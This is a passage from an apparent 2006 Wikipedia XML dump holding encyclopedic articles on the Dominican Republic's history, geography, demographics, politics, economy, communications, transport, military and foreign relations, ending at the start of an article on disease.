In June [[1966]], President Balaguer, leader of the Reformist Party (now called the [[Social Christian Reformist Party]]--PRSC), was elected and then re-elected to office in May [[1970]] and May [[1974]], both times after the major opposition parties withdrew late in the campaign because of the high degree of violence by pro government groups. In the May [[1978]] election, Balaguer was defeated in his bid for a fourth successive term by [[Antonio Guzmán]] of the PRD. Guzmán's inauguration on August 16 marked the country's first peaceful transfer of power from one freely elected president to another. 

==1980 - Present==
The PRD's presidential candidate, [[Salvador Jorge Blanco]], won the [[1982]] elections, and the PRD gained a majority in both houses of Congress. In an attempt to cure the ailing economy, the Jorge administration began to implement economic adjustment and recovery policies, including an austerity program in cooperation with the [[International Monetary Fund]] (IMF). In April [[1984]], rising prices of basic foodstuffs and uncertainty about austerity measures led to riots. 

Balaguer was returned to the presidency with electoral victories in [[1986]] and [[1990]]. Upon taking office in 1986, Balaguer tried to reactivate the economy through a public works construction program. Nonetheless, by [[1988]], the country slid into a 2-year economic depression, characterized by high inflation and currency devaluation. Economic difficulties, coupled with problems in the delivery of basic services--including electricity, water, and transportation--generated popular discontent that resulted in frequent protests, occasionally violent, including a paralyzing nationwide strike in June [[1989]]. 

In 1990, Balaguer instituted a second set of economic reforms. After concluding an IMF agreement, balancing the budget, and curtailing inflation, the Dominican Republic is experiencing a period of economic growth marked by moderate inflation, a balance in external accounts, and a steadily increasing GDP. 
[[Image:Leonel Fernández Reyna.jpg|frame|Leonel Fernández Reyna]]
The voting process in 1986 and 1990 was generally seen as fair, but allegations of electoral board fraud tainted both victories. The elections of [[1994]] were again marred by charges of fraud. Following a compromise calling for constitutional and electoral reform, President Balaguer assumed office for an abbreviated term. In June [[1996]], [[Leonel Fernández Reyna]] was elected to a 4-year term as president. In May [[2000]] [[Hipólito Mejía]] was elected to a 4-year term as president. In May [[2004]], [[Leonel Fernández Reyna]] was again elected to a 4-year term as president and inaugurated as such on August 16th, [[2004]].
The Dominican Republic was involved in the US led coalition in Iraq, but in ''[[2004]]'', the nation pulled its troops out of Iraq.

On Apr 27, 2005, education secretary, Alejandrina German, announced the republic's new plan to institute mandatory English classes beginning in September.  In addition, one school from each district will be selected to participate in a pilot program for bilingual education. The program involves teaching mathematics, sciences, the arts, and physical education in English in the first nine grades.

[[Category:History of the Dominican Republic| ]]

[[de:Geschichte der Dominikanischen Republik]]
[[es:Historia de la República Dominicana]]
[[fr:Histoire de la République dominicaine]]</text>
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  <page>
    <title>Geography of the Dominican Republic</title>
    <id>8064</id>
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      <text xml:space="preserve">[[Image:BeachBarahona2001 CopyrightKaihsuTai.jpg|thumb|right|400px|a beach in the Barahona province]]

This article details the '''[[geography]] of the [[Dominican Republic]]'''.

== Country Map ==
[[Image:Domrepmap.gif|thumb|Map of the Dominican Republic]]

; Location:
: [[Caribbean]], it occupies two-thirds of the island of [[Hispaniola]], between the [[Caribbean Sea]] and the North [[Atlantic Ocean]], east of [[Haiti]]
; [[Geographic coordinates]]:
: {{coor dm|19|00|N|70|40|W|type:country}}
; Map references:
: Central America and the Caribbean
; Area:
:* Total: 48,730 km&amp;sup2;
:* Land: 48,380 km&amp;sup2;
:* Water: 350 km&amp;sup2;
; Area - comparative:
: Slightly more than twice the size of [[New Hampshire]]
; Land boundaries:
:* Total: 275 km
:* Border countries: Haiti 275 km
; Coastline:
: 1,288 km
; Maritime claims:
:* Contiguous zone: 24 nm
:* Continental shelf: 200 nm or to the edge of the continental margin
:* Exclusive economic zone: 200 nm
:* Territorial sea: 6 nm
; Climate:
: Tropical maritime; little seasonal temperature variation; seasonal variation in rainfall
; Rivers:
: Significant rivers include the [[Jimani River]], [[Río Yaque del Norte]], [[Río Jamao del Norte]], [[Río Isabela]] and the [[Ozama River]]
[[Image:hispaniola_lrg.jpg|thumb|350px|Topography map of Hispaniola]]
; Terrain:
: Rugged highlands and mountains with fertile valleys interspersed
; Elevation extremes:
:* Lowest point: [[Lago Enriquillo]] -46 m
:* Highest point: [[Pico Duarte]] 3,098 m
; Natural resources:
: [[Nickel]], [[bauxite]], [[gold]], [[silver]]
; Land use:
:* Arable land: 21%
:* Permanent crops: 9%
:* Permanent pastures: 43%
:* Forests and woodland: 12%
:* Other: 15% (1993 est.)
; Irrigated land:
: 2,300 km&amp;sup2; (1993 est.)
; Natural hazards:
: Lies in the middle of the hurricane belt and subject to severe storms from June to October; occasional flooding; periodic droughts
; Environment - current issues:
: Water shortages; soil eroding into the sea damages coral reefs; deforestation; Hurricane Georges damage
; Environment - international agreements:
:* Party to: [[Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], [[Desertification]], [[Endangered Species]], [[Marine Dumping]], [[Marine Life Conservation]], [[Nuclear Test Ban]], [[Ozone Layer Protection]], [[Ship Pollution]]
:* Signed, but not ratified: [[Law of the Sea]]
; Geography - note:
: Shares island of Hispaniola with Haiti (eastern two-thirds is the Dominican Republic, western one-third is Haiti)

==See also==
*[[Dominican Republic]]

[[Category:Geography of the Dominican Republic|*]]
[[Category:Geography by country|Dominican Republic]]

[[es:Geografía de la República Dominicana]]
[[fr:Géographie de la République dominicaine]]
[[pt:Geografia da República Dominicana]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of the Dominican Republic</title>
    <id>8065</id>
    <revision>
      <id>42045865</id>
      <timestamp>2006-03-03T12:36:03Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Modifying: es</comment>
      <text xml:space="preserve">About half of [[Dominican Republic|Dominicans]] live in rural areas; many are small landholders. Spanish is the dominant language among the majority population. [[Haiti]]ans form the largest minority group, some 500 000 (or 6% of the population) according to [[Human Rights Watch]].&lt;sup&gt;[http://www.hrw.org/americas/dom_rep/p_essay.html]&lt;/sup&gt; Many Haitians in the Dominican Republic are illegal immigrants; others are Dominican-born citizens, and some are legal immigrants. All religions are tolerated; the state religion is [[Roman Catholicism]].

'''Population:'''
9,049,595 (July 2005 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
34% (male 1,486,902; female 1,422,977)
&lt;br&gt;''15-64 years:''
61% (male 2,609,934; female 2,518,330)
&lt;br&gt;''65 years and over:''
5% (male 192,254; female 212,136) (2000 est.)

'''Population growth rate:'''
1.64% (2000 est.)

'''Birth rate:'''
25.15 births/1,000 population (2000 est.)

'''Death rate:'''
4.72 deaths/1,000 population (2000 est.)

'''Net migration rate:'''
-4.04 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.05 male(s)/female
&lt;br&gt;''under 15 years:''
1.04 male(s)/female
&lt;br&gt;''15-64 years:''
1.04 male(s)/female
&lt;br&gt;''65 years and over:''
0.91 male(s)/female
&lt;br&gt;''total population:''
1.03 male(s)/female (2000 est.)

'''Infant mortality rate:'''
35.93 deaths/1,000 live births (2000 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
73.2 years
&lt;br&gt;''male:''
71.12 years
&lt;br&gt;''female:''
75.38 years (2000 est.)

'''Total fertility rate:'''
3 children born/woman (2000 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
Dominican(s)
&lt;br&gt;''adjective:''
Dominican

'''Ethnic groups:'''
white 16%, black 11%, mulatto 73%

'''Religions:'''
Roman Catholic 95%

'''Languages:'''
[[Spanish language|Spanish]]

'''Literacy:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
82.1%
&lt;br&gt;''male:''
82%
&lt;br&gt;''female:''
82.2% (1995 est.)

:''See also :'' [[Dominican Republic]]

[[Category:Demographics by country|Dominican Republic]]
[[Category:Society of the Dominican Republic]]

[[es:Demografía de la República Dominicana]]
[[fr:Démographie de la République dominicaine]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of the Dominican Republic</title>
    <id>8066</id>
    <revision>
      <id>41470267</id>
      <timestamp>2006-02-27T15:49:12Z</timestamp>
      <contributor>
        <ip>4.43.69.94</ip>
      </contributor>
      <comment>/* Constitution and legal system */</comment>
      <text xml:space="preserve">{{Politics of the Dominican Republic}}
The [[Dominican Republic]] is a [[representative democracy]] whose national powers are divided among independent executive, legislative, and judicial branches. The president appoints the cabinet, executes laws passed by the legislative branch, and is commander in chief of the armed forces. The president and vice president run for office on the same ticket and are elected by direct vote for four-year terms.

[[Legislature|Legislative power]] is exercised by a [[bicameralism|bicameral]] [[Congress of the Dominican Republic|National Congress]] -- the [[Senate of the Dominican Republic|Senate]] (32 members), and the [[Chamber of Deputies of the Dominican Republic|Chamber of Deputies]] (150 members). Presidential elections are held in years evenly divisible by four. Congressional and municipal elections are held in even numbered years not divisible by four.

Under the constitutional reforms negotiated after the 1994 elections, the 16-member Supreme Court of Justice is appointed by a National Judicial Council, which is nominated by the three major political parties. The Court has sole jurisdiction over actions against the president, designated members of his cabinet, and members of Congress.

The Supreme Court hears appeals from lower courts and chooses members of lower courts. Each of the 29 provinces is headed by a presidentially appointed governor. Elected mayors and municipal councils administer the National District (Santo Domingo) and the 103 municipal districts.

==Recent political history==

The Dominican Republic has a multi-party political system with national elections every four years. In two rounds of presidential elections in 1996, nearly 80% of eligible Dominican voters went to the polls. The leading parties in 1994 were the PRSC, linked to the International [[Christian Democratic]] political movement, whose candidate was President [[Joaquín Balaguer]]; the PRD, affiliated with the Socialist International, whose candidate was [[José Francisco Peña Gómez]]; and the Dominican Liberation Party (PLD), whose candidate was former President [[Juan Bosch]].

In the 1994 elections, international observers noted many irregularities in the voter lists, and the opposition PRD immediately charged the Central Electoral Board and the PRSC with fraud. A Verification Commission appointed by the Central Electoral Board, however, did not accept the PRD's charges. By all estimates, total disenfranchised voters far exceeded the 22,281-vote margin of victory in favor of President Balaguer on [[2 August]] [[1994]].

Following an intense period of political activity, the competing political parties signed a Pact for Democracy on [[10 August]], reducing President Balaguer's term of office from 4 to 2 years, setting early elections, and reforming the constitution. A new Central Electoral Board was named to work on electoral reform. The main candidates in 1996 were Vice President [[Jacinto Peynado]] (PRSC), José Francisco Peña Gómez (PRD), and [[Leonel Fernández]] (PLD).

Domestic and international observers saw the 1996 election as transparent and fair. After the first round in which Jacinto Peynado (PRSC) was eliminated, the PRSC with Joaquín Balaguer endorsed Leonel Fernandez (PLD). Results in the second round, 45 days later on [[30 June]], were tabulated quickly, and although the victory margin was narrow (1.5%), it was never questioned. The transition from incumbent administration to incoming administration was smooth and ushered in a new, modern era in Dominican political life.

Fernández' political agenda was one of economic and judicial reform. He helped enhance Dominican participation in hemispheric affairs, such as the Organization of American States and the follow up to the Miami Summit. On [[16 May]] [[2000]], [[Hipólito Mejía]], the Revolutionary Democratic Party candidate, was elected president in another free and fair election. He defeated Dominican Liberation Party candidate [[Danilo Medina]] 49.8% to 24.84%. Former President Balaguer garnered 24.68% of the vote. Mejia entered office on [[16 August]] with four priorities: education reform, economic development, increased agricultural production, and poverty alleviation. Mejia also champions the cause of Central American and Caribbean economic integration and migration, particularly as it relates to Haiti.

The military consists of about 24,000 active duty personnel, commanded by the president. Its principal mission is to defend the nation, but it serves more as an internal security force. The army, twice as large as the other services combined, consists of four infantry brigades and a combat support brigade; the air force operates three flying squadrons; and the navy maintains 30 aging vessels. The Dominican Republic's military is second in size to Cuba's in the Caribbean.

The armed forces participate fully in counter-narcotics efforts. They also are active in efforts to control contraband and illegal immigration from Haiti to the Dominican Republic and from the Dominican Republic to the United States.

==Country information==

===Country name===
The conventional long form of the country's name is &quot;Dominican Republic&quot;. The local long form is 
&quot;''Republica Dominicana''&quot;. The country's data code is &quot;DO&quot;.

===Government===
The government of the Dominican Republic is a [[representative democracy]]. The country's capital is [[Santo Domingo, Dominican Republic|Santo Domingo]].

===Administrative divisions===
The Dominican Republic has 31 provinces (''provincias'') and one district* (''distrito''): [[Azua]], [[Baoruco]], [[Barahona]], [[Dajabón]], [[Distrito Nacional, Dominican Republic|Distrito Nacional]]*, [[Duarte Province|Duarte]], [[El Seibo]], [[Elías Piña]], [[Espaillat]], [[Hato Mayor]], [[Independencia Province|Independencia]], [[La Altagracia]], [[La Romana Province|La Romana]], [[La Vega]], [[María Trinidad Sánchez]], [[Monseñor Nouel]], [[Monte Cristi]], [[Monte Plata]], [[Pedernales Province|Pedernales]], [[Peravia]], [[Puerto Plata]], [[Salcedo Province|Salcedo]], [[Samaná]], [[Sánchez Ramírez]], [[San Cristóbal]], [[San José de Ocoa]], [[San Juan Province, Dominican Republic|San Juan]], [[San Pedro de Macorís Province|San Pedro de Macorís]], [[Santiago Province, Dominican Republic|Santiago]], [[Santiago Rodríguez]], [[Santo Domingo Province|Santo Domingo]], [[Valverde]].

===Independence===
On [[27 February]] [[1844]], the Dominican Republic declared [[independence]] from Haiti.

===Constitution and legal system===
The [[constitution]] of the Dominican Republic was [[ratification|ratified]] on [[28 November]] [[1966]]. The country's legal system is based on French civil codes.

[[Suffrage]] is extended to those at least 18 years of age, and to married persons regardless of age. It is both universal and compulsory.

==Executive branch==

===Chief of State===
[[Leonel Fernández|President Leonel Antonio Fernández Reyna]] has been the since [[16 August]] [[2004]]. The Vice is President Rafael Albuquerque de Castro (since [[16 August]] [[2004]]). The president is both the Chief of State and the head of government.

===Cabinet===
The cabinet is nominated by the President.

===Elections===
The President and Vice President are elected on the same ticket by popular vote for four-year terms; election last held [[16 May]] [[2004]] (next to be held in May 2008)

In the 2004 election, Leonel Fernandez was elected president on the PLD ticket with 57.1% percent of the votes. Rafael Hipolito Mejia Dominguez of the PRD received 33.7% of the vote, and Eduardo Estrella of the PRSC received 8.7%.

==Legislative branch==
The bicameral [[Congress of the Dominican Republic|National Congress]] or ''Congreso Nacional'' consists of the [[Senate of the Dominican Republic|Senate]] or ''Senado'' and the [[Chamber of Deputies of the Dominican Republic|Chamber of Deputies]] or ''Cámara de Diputados''. The ''Senado'' has 30 seats, and its members are elected by popular vote to serve four-year terms. The ''Cámara de Diputados'' has 149 seats, and its members are also elected by popular vote to serve four-year terms.

===Elections===
Legislative elections were last held [[16 May]] 2002). After the 1998 election, the PRD held 24 seats in the ''Senado'', and the PLD and PRSC held three seats each.In the 2002 elections the PRD got 29 of the 32 seats, the PRSC got 2 (LA Altagracia and San Pedro de Macoris) and PLD got 1 representing the National District. In the 1998 elections ''Cámara de Diputados'', the PRD held 83, the PLD 49, and the PRSC 17. Next elections will be held on May 16, 2006.

==Judicial branch==
The top level of the judicial branch is the Supreme Court, or ''Corte Suprema''. Its judges are elected by a Council made up of legislative and executive members with the President presiding.

==Political parties and leaders==
{{main|List of political parties in  the Dominican Republic}}

*Alliance for Democracy Party, or APD (Maximilano Rabelais Puig Miller, Nelsida Marmolejos, Vicente Bengoa)
*Anti-Imperialist Patriotic Union, or UPA (Ignacio Rodriguez Chiappini)
*Democratic Quisqueyan Party, or PQD (Elias Wessin Chavez) 
*Democratic Union, or UD (Fernando Alvarez Bogaert) 
*Revolutionary Front, or FR (Narciso Isa Conde)
*[[Dominican Liberation Party]], or PLD (Jose Tomas Perez)
*[[Dominican Revolutionary Party]], or PRD (Rafael Albuquerque) 
*Dominican Worker's Party, or PTD (Ivan Rodriguez)
*Independent Revolutionary Party, or PRI (leader NA) 
*Liberal Party of the Dominican Republic, or PLRD (Andres Van Der Horst) 
*National Progressive Force, or FNP (Pelegrin Castillo)
*National Veterans and Civilian Party, or PNVC (Juan Rene Beauchamps Javier) 
*Popular Christian Party, or PPC (Rogelio Delgado Bogaert) 
*[[Social Christian Reformist Party]], or PRSC (Quique Antun)

In 1983, several leftist parties, including the PCD, joined to form the Dominican Leftist Front, or FID. However, they still retain individual party structures.

See also: [[List of Presidents of the Dominican Republic]]

===Political pressure groups and leaders===
*Collective of Popular Organizations or COP

==International organization participation==
ACP, [[Caricom]] (observer), ECLAC, FAO, G-11, G-77, IADB, IAEA, IBRD, ICAO, ICFTU, ICRM, IDA, IFAD, IFC, IFRCS, IHO, ILO, IMF, IMO, Intelsat, [[Interpol]], IOC, IOM, ISO (subscriber), ITU, LAES, LAIA (observer), NAM (observer), OAS, OPANAL, OPCW, PCA, UN, UNCTAD, UNESCO, UNIDO, UPU, WCL, WFTU, WHO, WMO, WToO, WTrO

==Flag description==
A centered white cross that extends to the edges divides the flag into four rectangles - the top ones are blue (hoist side) and red, and the bottom ones are red (hoist side) and blue; a small coat of arms is at the center of the cross. ''See:'' [[Flag of the Dominican Republic]].

[[Category:Politics of the Dominican Republic|*]]

[[es:Política de la República Dominicana]]
[[fr:Politique de la République dominicaine]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of the Dominican Republic</title>
    <id>8067</id>
    <revision>
      <id>35859333</id>
      <timestamp>2006-01-19T21:11:47Z</timestamp>
      <contributor>
        <username>Bobblewik</username>
        <id>51235</id>
      </contributor>
      <minor />
      <comment>reduce overlinking</comment>
      <text xml:space="preserve">The [[Dominican Republic]] is a middle-income [[developing country]] primarily dependent on [[agriculture]], trade, and services, especially [[tourism]]. Although the service sector has recently overtaken agriculture as the leading employer of Dominicans (due principally to growth in tourism and Free Trade Zones), agriculture remains the most important sector in terms of domestic consumption and is in second place (behind mining) in terms of export earnings. Tourism accounts for more than $1 billion in annual earnings. Free Trade Zone earnings and tourism are the fastest-growing export sectors. [[Remittance]]s from Dominicans living in the [[United States]], are estimated to be about $1.5 billion per year.

==Overview==
Following economic turmoil in the late 1980s and 1990, during which the GDP fell by up to 5% and consumer price inflation reached an unprecedented 100%, the Dominican Republic entered a period of moderate growth and declining inflation until 2002 after which the economy entered a recession, after the second commercial bank of the country collapsed, caused by a major fraud.  GDP dropped by 1% in 2003 while inflation balooned by over 27%.

Despite a widening merchandise trade deficit, tourism earnings and remittances have helped build foreign exchange reserves. The Dominican Republic is current on foreign private debt, and has agreed to pay arrears of about $130 million to the U.S. Department of Agriculture's Commodity Credit Corporation.

The government faces several economic policy challenges--high real interest rates, fiscal imbalances caused by money-losing public enterprises and poor tax-collection rates, and reducing dependence on taxes on international trade. Years of tariff protection for domestic production have left the economy vulnerable in a rapidly integrating global economy. The deteriorating non-free trade zone merchandise trade balance is in part due to the failure of the exchange rate to reflect inflationary trends in the 1993-1995 period.

In December 1996, incoming President Fernandez presented a bold reform package for this Caribbean economy - including the devaluation of the peso, income tax cuts, a 50% increase in sales taxes, reduced import tariffs, and increased gasoline prices - in an attempt to create a market-oriented economy that can compete internationally. Even though most reforms are stalled in the legislature - including the intellectual property rights bill, social security reform, and a new electricity law first submitted in 1993 - the economy has grown vigorously under Fernandez's administration. Construction, tourism and telecommunications are leading the advance. The government is working to increase electric generating capacity, a key to continued economic growth; the state electricity company was finally privatized following numerous delays. The continuation of this vigorous growth in 2000 will depend on the policies adopted by the new administration.

''===Statistics===''

'''GDP:'''
purchasing power parity - $52.71 billion (2003 est.)

'''GDP - real growth rate:'''
-0.7% (2003 est.)

'''GDP - per capita:'''
purchasing power parity - $6,000 (2003 est.)

'''GDP - composition by sector:'''

''agriculture:''
10.7%

''industry:''
31.5%

''services:''
57.8% (2003)

'''Population below poverty line:'''
19.9% (2003)

'''Household income or consumption by percentage share:'''

''lowest 10%:''
2.1%

''highest 10%:''
37.9% (2003)

'''Inflation rate (consumer prices):'''
27.5% (2003)

'''Labor force:'''
2.3 million to 2.6 million (2000 est.)

'''Labor force - by occupation:'''
services and government 58.7%, industry 24.3%, agriculture 17% (1998 est.)

'''Unemployment rate:'''
16.5% (2003 est.)

'''Budget:'''

''revenues:''
$2.601 billion

''expenditures:''
$3.353 billion, including capital expenditures of $1.1 billion (2003 est.)

'''Industries:'''
tourism, sugar processing, ferronickel and gold mining, textiles, cement, tobacco

'''Industrial production growth rate:'''
2% (2001 est.)

'''Electricity - production:'''
9,186 GWh (2001)

'''Electricity - production by source:'''

''fossil fuel:''
72.04%

''hydro:''
27.62%

''nuclear:''
0%

''other:''
0.34% (1998)

'''Electricity - consumption:'''
8,543 GWh (2001)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
sugarcane, coffee, cotton, cocoa, tobacco, rice, beans, potatoes, corn, bananas; cattle, pigs, dairy products, beef, eggs

'''Exports:'''
$5.524 billion (f.o.b., 2003 est.)

'''Exports - commodities:'''
ferronickel, sugar, gold, silver, coffee, cocoa, tobacco, meats

'''Exports - partners:'''
US 84.4%, Canada 1.7%, Haiti 1.5% (2003 est.)

'''Imports:'''
$7.911 billion (f.o.b., 2003)

'''Imports - commodities:'''
foodstuffs, petroleum, cotton and fabrics, chemicals and pharmaceuticals

'''Imports - partners:'''
US 49.5%, Venezuela 11.3%, Mexico 4.4%, Colombia 4% (2003 est.)

'''Debt - external:'''
$6.567 billion (2003 est.)

'''Economic aid - recipient:'''
$239.6 million (1995)

'''Currency:'''
1 Dominican peso (RD$) = 100 centavos

'''Exchange rates:'''
Dominican pesos (RD$) per US$1 -  46.151 (February 2004), 18.609 (2002), 16.161 (January 2000), 16.033 (1999), 15.267 (1998), 14.265 (1997), 13.775 (1996), 13.597 (1995)

'''Fiscal year:'''
calendar year

===See also===
*[[Dominican Republic]]
*[[List of Dominican companies]]

{{WTO}}

[[Category:WTO members|Dominican Republic, the]]
[[Category:Economy of the Dominican Republic| ]]
[[Category:Economies by country|Dominican Republic, the]]

[[de:Wirtschaft der Dominikanischen Republik]]
[[es:Economía de la República Dominicana]]
[[pt:Economia da República Dominicana]]
[[zh:多米尼加共和国经济]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in the Dominican Republic</title>
    <id>8068</id>
    <revision>
      <id>41071122</id>
      <timestamp>2006-02-24T21:41:46Z</timestamp>
      <contributor>
        <ip>69.249.216.168</ip>
      </contributor>
      <comment>Put the [[ and ]] tags around ARCOS</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
938,392 (2005)

'''Telephones - mobile cellular:'''
2,789,196 (2005)

'''Telephone system:'''
&lt;br&gt;''domestic:''
very efficient system based on islandwide microwave radio relay network and fiber optics lines that cover many of the main cities
&lt;br&gt;''international:''
connected to the [[ARCOS]] (America's Region Caribbean Optical-ring System); 1 coaxial submarine cable; satellite earth station - 1; [[Intelsat]] ([[Atlantic Ocean]])

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
AM 120, FM 56, shortwave 4 (1998)

'''Radios:'''
1.44 million (1997)

'''[[Television]] broadcast stations:'''
25 (1997)

'''Televisions:'''
770,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
5 [Verizon, Tricom, Aster, Centennial(wireless), France Telecom(wireless)] (2006)

'''Internet Accounts:'''
107,543 (2005)

'''[[Country code]]:''' DO

:''See also :'' [[Dominican Republic]]
[http://www.indotel.org.do Indotel (Dominican Republic Communications Regulation Authority)]


[[Category:Communications by country|Dominican Republic]]
[[Category:Communications in the Dominican Republic|*]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in the Dominican Republic</title>
    <id>8069</id>
    <revision>
      <id>41966706</id>
      <timestamp>2006-03-02T22:58:16Z</timestamp>
      <contributor>
        <username>Mahanchian</username>
        <id>606519</id>
      </contributor>
      <comment>added {{cleanup|March 1006}}</comment>
      <text xml:space="preserve">{{cleanup|March 1006}}

'''Railways:'''
&lt;br&gt;''total:''
757 km
&lt;br&gt;''standard gauge:''
375 km 1.435-m gauge (Central Romana Railroad)
&lt;br&gt;''narrow gauge:''
142 km 0.762-m gauge (Dominican Republic Government Railway); 240 km operated by sugar companies in various gauges (0.558-m, 0.762-m, 1.067-m gauges) (1995)

'''Highways:'''
&lt;br&gt;''total:''
12,600 km
&lt;br&gt;''paved:''
6,224 km
&lt;br&gt;''unpaved:''
6,376 km (1996 est.)

'''Pipelines:'''
crude oil 96 km; petroleum products 8 km

'''Ports and harbors:'''
Barahona, La Romana, Puerto Plata, San Pedro de Macoris, Santo Domingo

'''Merchant marine:'''
&lt;br&gt;''total:''
1 ship (1,000 GRT or over) totaling 1,587 GRT/1,165 DWT
&lt;br&gt;''ships by type:''
cargo 1 (1999 est.)

'''Airports:'''
28 (1999 est.)

[[El Cibao]] Airport ([[Santiago de los Caballeros|Santiago]])&lt;br&gt;
[[Puerto Plata Airport]]

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
13
&lt;br&gt;''over 3,047 m:''
3
&lt;br&gt;''2,438 to 3,047 m:''
1
&lt;br&gt;''1,524 to 2,437 m:''
4
&lt;br&gt;''914 to 1,523 m:''
3
&lt;br&gt;''under 914 m:''
2 (1999 est.)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
15
&lt;br&gt;''1,524 to 2,437 m:''
2
&lt;br&gt;''914 to 1,523 m:''
4
&lt;br&gt;''under 914 m:''
9 (1999 est.)

'''National airline'''
*[[Dominicana de Aviacion]] used to be the country's national airline for a large period of time. Due to economic crisis, however, this title has been passed on to various other companies after Dominicana stopped flying. Currently, the national flag carrier is [[Air Santo Domingo]].

:''See also :'' [[Dominican Republic]], [[Puerto Plata Airport]], [[Las Americas International Airport]].

[[Category:Transportation in the Dominican Republic|*]]</text>
    </revision>
  </page>
  <page>
    <title>Military of the Dominican Republic</title>
    <id>8070</id>
    <revision>
      <id>35478339</id>
      <timestamp>2006-01-17T01:15:54Z</timestamp>
      <contributor>
        <ip>24.211.104.120</ip>
      </contributor>
      <text xml:space="preserve">'''[[Military]] branches:'''
Army, Navy, Air Force, National Police

'''Military manpower - military age:'''
18 years of age

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
2,239,309 (2000 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
1,405,845 (2000 est.)

'''Military manpower - reaching military age annually:'''
&lt;br&gt;''males:''
86,569 (2000 est.)

'''Military expenditures - dollar figure:'''
$180 million (FY98)

'''Military expenditures - percent of GDP:'''
1.1% (FY98)

==References and Links==
*{{CIA_WFB_2003}}
*[[Dominican Republic]]
[[Category:Government of the Dominican Republic]]
[[Category:Militaries|Dominican Republic]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of the Dominican Republic</title>
    <id>8071</id>
    <revision>
      <id>42008121</id>
      <timestamp>2006-03-03T04:42:33Z</timestamp>
      <contributor>
        <username>XLR8TION</username>
        <id>132585</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">The [[Dominican Republic]] has a close relationship with the [[United States]] and with the other states of the Inter-American system. It has accredited diplomatic missions in most [[Western Hemisphere]] countries and in principal [[Europe]]an capitals. The Dominican Republic maintains official relations with the [[Republic of China]] (commonly known as “Taiwan”) instead of the [[People's Republic of China]]. The Dominican Republic and [[Cuba]] recently established consular relations, and there is contact in fields such as commerce, culture, and sports. Although Dominican relations with its closest neighbor, the Republic of [[Haiti]], have never been extensive, there are signs this would have changed with the  government of President Mejia. Growing immigration from and political instability in Haiti have forced the Dominican Republic to take a closer look at relations with its neighbor both country-to-country and in international fora. There is a sizeable Haitian migrant community in the Dominican Republic.

The Dominican Republic belongs to the [[United Nations]] and many of its specialized and related agencies, including the [[World Bank]], [[International Labour Organization]], [[International Atomic Energy Agency]], and [[International Civil Aviation Organization]]. It also is a member of the [[OAS]], World Trade Organization, World Health Organization, World Customs Organization the [[Inter-American Development Bank]], and ACP Group.

The Dominican Republic has very strong ties and relations with [[Puerto Rico]]. Although a [[United States]] Commonwealth, the island is the Dominican Republic's largest trading partner.  While relations between both islands have had difficulties, mainly due the huge exodus of illegal immigrants from the Dominican Republic due to the nation's history of economic woes, the islands still, with the assistance of the United States Coast Guard and the Dominican navy have worked hard to reduce the number of Dominicans crossing the [[Mona Passage]] in recent years. Puerto Rico is home to an estimated 500,000 Dominicans, and the Dominican Republic maintains consulates in the cities of [[San_Juan_Puerto_Rico|San Juan]] and [[Mayagüez_Puerto Rico|Mayagüez]].

'''Illicit drugs:'''
transshipment point for South American drugs destined for the U.S. and Europe

==External links==
* [http://www.serex.gov.do/default.aspx   Dominican Secretary of State for Foreign Relations (in Spanish)]
* [http://www.consuladord-ny.org  Dominican Consulate in New York City (in English/Spanish)]
* [http://www.dominicanembassy.org.uk   Dominican Embassy in London, United Kingdon (in English)]
* [http://www.drembassy.org   Dominican Embassy in Ottawa, Canada (in English/French/Spanish)]
* [http://www.amba-dominicaine-paris.com  Dominican Embassy in Paris France (in French/Spanish)]
* [http://www.domrep.org   Dominican Embassy in Washington, DC (in English/Spanish)]
* [http://www.embelicerd.com  Embassy of Belize in Santo Domingo  (in English/Spanish)]
* [http://http://www.funredes.org/ambafrance/article.php3?id_article=271  Embassy of France in Santo Domingo (in French/Spanish)]
* [http://www.do.emb-japan.go.jp   Embassy of Japan in Santo Domingo (in Spanish)]
* [http://www.bm30.es/socios/consulados/repdomin_es.html  Honorary Consulate of the Dominican Republic in Bilbao, Spain  (in English/Spanish)]
* [http://www.dominicanconsulate.org.pk  Honorary Consulate of the Dominican Republic in Lahore, Pakistan (in English)]
* [http://un.cti.depaul.edu/cgi-bin/spider.py?_request=0&amp;country=DominicanRepublic   Permanent Mission of the Dominican Republic to the United Nations]
* [http://www.usemb.gov.do   United States Embassy in Santo Domingo  (in English/Spanish)]


 
[[Category:Foreign relations of the Dominican Republic| ]]</text>
    </revision>
  </page>
  <page>
    <title>Disease</title>
    <id>8072</id>
    <revision>
      <id>41650292</id>
      <timestamp>2006-02-28T20:19:36Z</timestamp>
      <contributor>
        <username>Kd4ttc</username>
        <id>33215</id>
      </contributor>
      <comment>rv anon v and changes</comment>
      <text xml:space="preserve">A '''disease''' is any abnormal condition of the [[human body|body]] or [[mind]] that causes [[discomfort]], [[dysfunction]], or distress to the person afflicted or those in contact with the person. Sometimes the term is used broadly to include injuries, disabilities, [[syndrome]]s, symptoms, deviant behaviors, and atypical variations of structure and function, while in other contexts these may be considered distinguishable categories.

